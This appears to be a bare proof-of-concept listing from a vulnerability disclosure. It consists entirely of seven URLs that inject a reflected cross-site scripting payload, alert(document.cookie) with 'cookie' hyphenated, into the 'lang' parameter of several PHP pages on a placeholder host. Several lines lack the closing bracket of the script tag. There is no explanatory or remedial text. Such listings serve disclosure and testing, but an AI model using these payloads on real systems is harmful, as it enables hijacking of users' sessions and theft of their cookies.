http://www.example.com/[path]/admin.php?lang=<script>alert(document.c-o-o-k-i-e)</script> http://www.example.com/[path]/index.php?lang=<script>alert(document.c-o-o-k-i-e)</script http://www.example.com/[path]/sess.php?lang=<script>alert(document.c-o-o-k-i-e)</script http://www.example.com/[path]/stats.php?lang=<script>alert(document.c-o-o-k-i-e)</script http://www.example.com/[path]/detail.php?lang=<script>alert(document.c-o-o-k-i-e)</script http://www.example.com/[path]/resize.php?lang=<script>alert(document.c-o-o-k-i-e)</script http://www.example.com/[path]/show.php?lang=<script>alert(document.c-o-o-k-i-e)</script